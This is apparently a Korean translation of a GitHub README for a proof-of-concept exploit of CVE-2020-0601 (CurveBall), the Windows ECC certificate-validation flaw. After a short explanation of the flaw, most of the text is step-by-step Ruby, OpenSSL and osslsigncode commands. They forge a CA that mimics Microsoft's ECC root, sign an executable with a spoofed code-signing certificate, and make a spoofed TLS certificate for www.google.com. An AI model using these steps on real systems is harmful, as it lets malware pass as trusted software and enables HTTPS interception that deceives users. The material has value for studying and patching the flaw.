iiictech/-cve-2020-0601-ecc---exploitCurveBall(CVE-2020-0601) - PoC CVE-2020-0601, 일반적으로 CurveBall로 알려진 이 취약점은 타원 곡선 암호화(ECC)를 사용하는 인증서의 서명이 올바르게 검증되지 않는 취약점입니다. 공격자는 수제 생성기를 제공하여 검증, 안티바이러스 및 모든 비보호 기능을 우회할 수 있습니다.
CVE-2020-0601, 일반적으로 CurveBall이라고 불리는 이 취약점은 타원 곡선 암호(ECC)를 사용하는 인증서의 서명이 올바르게 검증되지 않는 취약점입니다.
ECC는 다양한 매개변수에 의존합니다. 많은 곡선에 표준화된 매개변수가 사용됩니다. 그러나 Microsoft는 그들의 천재성처럼 이러한 매개변수를 모두 확인하지 않았습니다... G(생성기) 매개변수는 확인되지 않았으며, 공격자는 따라서 수동으로 생성한 생성기를 제공할 수 있습니다. 이로 인해 Microsoft가 신뢰할 수 있는 CA에 대해 인증서를 검증하려고 할 때, 일치하는 공개 키만 찾고, 그러면 '펑!' 하고 인증서의 생성기를 사용하게 됩니다.
NSA는 이 취약점의 치명적인 영향과 더 많은 정보를 여기에서 명확히 설명합니다. 준비하고 시작하세요!
MicrosoftECCProductRootCertificateAuthority.cer는 기본적으로 Windows 10에서 ECC를 사용하는 신뢰할 수 있는 루트 인증 기관(CA)입니다. 따라서 이 인증서로 서명된 모든 것은 자동으로 신뢰됩니다.
분명히 말하자면, 그들은 항상 지켜보고 있습니다... 그러니 교육 및 연구 목적으로만 사용하시기 바랍니다.
최소 요구 사항
openssl 1.1.0
ruby 2.4.0
취약점의 수학적 세부 사항에 관심이 있다면 여기에서 더 읽어보세요.
인증서를 스푸핑하려면 다음 매개변수를 설정하세요:
d' = 1
G' = Q
즉 Q = Q' = d'G' 입니다.
신뢰할 수 있는 CA의 공개 키와 동일한 매개변수를 가진 인증서를 생성합니다. 이 인증서는 스푸핑 CA로 사용됩니다. 개인 키를 알고 있는 값으로 생성기를 설정합니다. Q = dG이므로 생성기를 공개 키로 설정하고 개인 키를 1로 쉽게 설정할 수 있습니다.
다음으로, 사용하려는 확장(예: 코드 서명 또는 서버 인증)이 포함된 인증서 서명 요청(CSR)을 생성합니다.
이 인증서 요청을 스푸핑된 CA와 CA 키로 서명하고 사용 확장을 추가합니다.
서명된 인증서 요청(이제 일반 인증서)을 스푸핑된 CA와 함께 번들하면 서명되고 신뢰할 수 있는 인증서가 생성됩니다.
Windows가 인증서의 신뢰 여부를 확인할 때, 인증서가 우리의 스푸핑된 CA에 의해 서명되었음을 확인합니다. 그런 다음 스푸핑된 CA의 공개 키를 신뢰할 수 있는 CA와 대조합니다. 그리고는 스푸핑된 CA의 생성기를 사용하여 스푸핑된 CA의 서명을 단순히 검증합니다 — 이것이 문제입니다.
Windows에서 새로 서명된 신뢰할 수 있는 인증서를 열면, 어떤 것에도 연결되지 않았기 때문에 신뢰할 수 있는 것으로 인식되지 않으며, 따라서 스푸핑된 CA를 사용하지 않습니다. 인증서는 항상 스푸핑된 CA와 함께 제시되어야 합니다.
교육 및 연구 목적으로만 사용하시기 바랍니다.
CA에서 공개 키를 추출하고 취약점에 따라 수정합니다:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
이 키를 기반으로 새로운 x509 인증서를 생성합니다. 이것이 우리의 스푸핑된 CA가 됩니다.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
새 키를 생성합니다. 이 키는 원하는 모든 유형일 수 있습니다. 코드 서명 인증서를 만드는 데 사용되며, 이를 우리의 CA로 서명할 것입니다.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
다음으로, 새로운 인증서 서명 요청(CSR)을 생성합니다. 이 요청은 일반적으로 신뢰할 수 있는 CA로 전송되지만, 우리는 스푸핑된 CA가 있으므로 직접 서명할 수 있습니다.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
새로운 CSR을 스푸핑된 CA와 CA 키로 서명합니다. 이 인증서는 2047년에 만료되며, 실제 신뢰할 수 있는 Microsoft CA는 2043년에 만료됩니다.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
남은 것은 인증서, 해당 키 및 스푸핑된 CA를 PKCS12 파일로 패키징하여 실행 파일을 서명하는 것입니다.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
PKCS12 파일로 실행 파일을 서명합니다.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe
교육 및 연구 목적으로만 사용하시기 바랍니다.
CA에서 공개 키를 추출하고 취약점에 따라 수정합니다:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
이 키를 기반으로 새로운 x509 인증서를 생성합니다. 이것이 우리의 스푸핑된 CA가 됩니다.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
새 키를 생성합니다. 이 키는 원하는 모든 유형일 수 있습니다. SSL 인증서를 만드는 데 사용되며, 이를 우리의 CA로 서명할 것입니다.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
다음으로, 새로운 인증서 서명 요청(CSR)을 생성합니다. 이 요청은 일반적으로 신뢰할 수 있는 CA로 전송되지만, 우리는 스푸핑된 CA가 있으므로 직접 서명할 수 있습니다.
도메인 이름을 변경하려면 openssl_tls.conf 내에서 CN = www.google.com을 CN = www.example.com으로 편집하세요.
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
새로운 CSR을 스푸핑된 CA와 CA 키로 서명합니다. 이 인증서는 2047년에 만료되며, 실제 신뢰할 수 있는 Microsoft CA는 2043년에 만료됩니다.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls
이제 cert.crt, cert.key, spoofed_ca.crt를 사용하여 콘텐츠를 제공할 수 있습니다. 다시 한 번, 서버의 HTTPS 구성에서 spoofed_ca.crt를 인증서 체인으로 추가하는 것을 기억하세요.
교육 및 연구 목적으로만 사용하시기 바랍니다.